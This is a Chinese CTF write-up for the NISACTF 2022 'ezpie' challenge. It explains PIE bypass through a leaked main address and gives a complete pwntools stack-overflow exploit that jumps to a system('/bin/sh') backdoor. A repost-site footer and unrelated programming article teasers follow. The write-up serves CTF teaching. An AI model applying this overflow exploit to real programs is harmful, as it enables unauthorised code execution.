pwn旅行之[NISACTF 2022]ezpie

[NISACTF 2022]ezpie

PIE保护:

​ PIE全称是position-independent executable,中文解释为地址无关可执行文件,该技术是一个针对代码段(.text)、数据段(.data)、未初始化全局变量段(.bss)等固定地址的一个防护技术,如果程序开启了PIE保护的话,在每次加载程序时都变换加载地址,从而不能通过ROPgadget等一些工具来帮助解题。

​ 简单地说就是地址随机化。

绕过方式:

​ 首先拿到这个题目的文件,先检查下文件的保护:

root@g01den-virtual-machine:/mnt/shared# checksec pwn
[*] '/mnt/shared/pwn'Arch:     i386-32-littleRELRO:    Partial RELROStack:    No canary foundNX:       NX enabledPIE:      PIE enabled

​ 之后反编译看看情况:

int __cdecl main(int argc, const char **argv, const char **envp)
{setbuf(stdin, 0);setbuf(stdout, 0);puts("OHHH!,give you a gift!");printf("%p\n", main);puts("Input:");vuln();return 0;
}

​ 可以看到,这个题目首先打印出了main函数的地址,所以,可以先试着运行几次程序看看情况:

root@g01den-virtual-machine:/mnt/shared# ./pwn
OHHH!,give you a gift!
0x5664b770
root@g01den-virtual-machine:/mnt/shared# ./pwn
OHHH!,give you a gift!
0x5656b770
root@g01den-virtual-machine:/mnt/shared# ./pwn
OHHH!,give you a gift!
0x56630770

​ 发现这个地址的最后三位数字都是相同的,再来就是根据虚拟内存分页的概念,这个的内存加载的随机化跟动态链接库加载到内存中地址随机化的概念是一样的,都是仅仅只是基地址的随机化,内部的字符之间的偏移是相同的,因此,只要从原文件中知道了偏移地址之后,就可以进行漏洞的利用了。

​ 之后,通过函数的试图,找到了后门函数和危险函数:

ssize_t vuln()
{char buf[40]; // [esp+0h] [ebp-28h] BYREFreturn read(0, buf, 0x50u);
}
int shell()
{return system("/bin/sh");
}

​ 因此,这个题目的大致思路就是,通过接收输出的main函数的地址,再通过偏移量计算到后门函数的地址,之后,进行栈溢出攻击即可。

​ 计算得到栈的偏移量为44:

root@g01den-virtual-machine:/mnt/shared# cyclic -l 0x6161616c
44

​ 由此,脚本就可以这么写了:

from pwn import *elf = ELF('./pwn')
io = process('./pwn')io.recvuntil(b'gift!\n')
main_real = int(io.recv(10),16)
main_add = elf.symbols['main']
shell_add = elf.symbols['shell']
offset = main_add - shell_add
shell_real = main_real - offset
payload = b'A'*44 + p32(shell_real)
io.sendline(payload)
io.interactive()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/702085.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

MyBatis核心类

MyBatis核心类: SqlSessionFactory:SqlSessionFactoryBuilder SqlSession:是一个接口,有两个实现类 DefaultSqlSession和SqlSessionManager。 SqlSession通过内部存放的执行器(Executor)对数据进行CRUD …

Pytorch 复习总结 3

Pytorch 复习总结,仅供笔者使用,参考教材: 《动手学深度学习》Stanford University: Practical Machine Learning 本文主要内容为:Pytorch 多层感知机。 本文先介绍了多层感知机的用法,再就训练过程中经常出现的过拟…

Spring 容器、核心容器总结

目录 创建容器获取 bean容器类层次结构图核心容器总结容器相关bean 相关依赖注入相关 创建容器 方式一: 类路径加载配置文件 ApplicationContext ctx new ClassPathXmlApplicationContext("applicationContext.xml");方式二: 文件路径加载配…

消息队列-RabbitMQ:延迟队列、rabbitmq 插件方式实现延迟队列、整合SpringBoot

十六、延迟队列 1、延迟队列概念 延时队列内部是有序的,最重要的特性就体现在它的延时属性上,延时队列中的元素是希望在指定时间到了以后或之前取出和处理,简单来说,延时队列就是用来存放需要在指定时间被处理的元素的队列。 延…

移动端自动化常用的元素定位工具 介绍

在移动端自动化测试和开发中,元素定位是非常关键的一步。以下是一些常用的工具和技术来帮助开发者或测试工程师在移动设备上定位元素: 1. **UiAutomator**: - **UiAutomator** 是 Android 官方提供的自动化测试框架。它可以用来编写测试脚本&…

Linux之项目部署与发布

目录 一、Nginx配置安装(自启动) 1.一键安装4个依赖 2. 下载并解压安装包 3. 安装Nginx 4. 启动 nginx 服务 5. 对外开放端口 6. 配置开机自启动 7.修改/etc/rc.d/rc.local的权限 二、后端部署tomcat负载均衡 1. 准备2个tomcat 2. 修改端口 3…

4.寻找两个正序数组的中位数

题目:给定两个大小分别为 m 和 n 的正序(从小到大)数组 nums1 和 nums2。请你找出并返回这两个正序数组的 中位数 。 解题思路:用二分法查找。使用归并的方式,合并两个有序数组,得到一个大的有序数组。大的…

树状数组与线段树<2>——线段树初步

这个系列终于更新了(主要因为树状数组初步比较成功) 话不多说,切入正题。 什么是线段树? 线段树是一种支持单点修改区间查询(树状数组也行) and 区间修改单点查询(树状数组不行) and 区间修改区间查询(树状数组更不行)的高级数据结构,相当…

Spring Boot利用Kaptcha生成验证码

生成验证码 我们在登录或注册某个网站的时候,会需要我们输入验证码,才能登录注册,那么如何生成验证码呢?其实,生成验证码我们可以用Java Swing在后台内存里的区域画一个出来,但是非常麻烦,所以…

在IDEA中创建vue hello-world项目

工作中最近在接触vue前端项目,记录一下从0搭建一个vue hello world项目的步骤 1、本地电脑安装配置node、npm D:\Project\vue\hello-world>node -v v14.21.3 D:\Project\vue\hello-world>npm -v 6.14.18 D:\Project\vue\hello-world> 2、设置npm国内淘宝的景象 …

unity学习(41)——创建(create)角色脚本(panel)——UserHandler(收)+CreateClick(发)——发包!

1.客户端的程序结构被我精简过,现在去MessageManager.cs中增加一个UserHandler函数,根据收到的包做对应的GameInfo赋值。 2.在Model文件夹下新增一个协议文件UserProtocol,内容很简单。 using System;public class UserProtocol {public co…

bat脚本 判断端口是否通

在Windows批处理(batch)脚本中,没有直接的方式来检查一个端口是否开放。但是,你可以使用telnet命令来尝试连接到一个特定的端口,并根据命令的退出代码来判断端口是否开放。 以下是一个简单的批处理脚本示例&#xff0…

涵盖5大领域的机器学习工具介绍

随着数据的产生及其使用量的不断增加,对机器学习模型的需求也在成倍增加。由于ML系统包含了算法和丰富的ML库,它有助于分析数据和做出决策。难怪机器学习的知名度越来越高,因为ML应用几乎主导了现代世界的每一个方面。随着企业对这项技术的探…

Java中PDF文件传输有哪些方法?

专栏集锦,大佬们可以收藏以备不时之需: Spring Cloud 专栏:http://t.csdnimg.cn/WDmJ9 Python 专栏:http://t.csdnimg.cn/hMwPR Redis 专栏:http://t.csdnimg.cn/Qq0Xc TensorFlow 专栏:http://t.csdni…

【C语言】飞机大作战

前言: 飞机大作战游戏是一种非常受欢迎的射击类游戏,玩家需要控制一架战斗机在屏幕上移动,击落敌机以获得分数。本游戏使用C语言编写,旨在帮助初学者了解游戏开发的基本概念和技巧。 在开始编写代码之前,我们需要先了…

记录一些mac电脑重装mysql和pgsql的坑

为什么要重装,是想在mac电脑 创建data目录…同事误操作,导致电脑重启不了.然后重装系统后,.就连不上数据库了.mysql和pgsql两个都连不上.网上也查了很多资料.实在不行,.就重装了… 重装mysql. 1.官网下载 https://www.mysql.com/downloads/ 滑到最下面 选择 选择对应的芯片版本…

设计推特(Leetcode355)

例题: https://leetcode.cn/problems/design-twitter/ 分析: 推特其实类似于微博,在微博中可以发送文章。 求解这类题目,我们需要根据题目需求,利用面向对象的思想,先对需求做一个抽象,看看能…

代码随想录训练营第34天| 435. 无重叠区间、763.划分字母区间、56. 合并区间

35. 无重叠区间 题目链接:435. 无重叠区间 - 力扣(LeetCode) class Solution {public int eraseOverlapIntervals(int[][] intervals) {Arrays.sort(intervals, (x1, x2) -> {if (x1[0] ! x2[0]) {return x1[0] - x2[0];} else {return …

字符串(算法竞赛)--Manacher(马拉车)算法

1、B站视频链接&#xff1a;F05 Manacher(马拉车)_哔哩哔哩_bilibili 题目链接&#xff1a;【模板】manacher - 洛谷 ​ #include <bits/stdc.h> using namespace std; const int N3e7; char a[N],s[N]; int d[N];//回文半径函数void get_d(char*s,int n){d[1]1;for(int…

领域驱动设计(Domain-Driven Design DDD)——通过重构找到深层次模型2

五、应用分析模式 深层模型和柔性设计并非唾手可得。想要取得进展&#xff0c;必须学习大量领域知识并进行充分的讨论&#xff0c;还需要经历大量的尝试和失败。在实际的研究领域问题实践时&#xff0c;有一些成熟的模式可以供我们借鉴和套用。这样我们可以从这个起点来重构和试…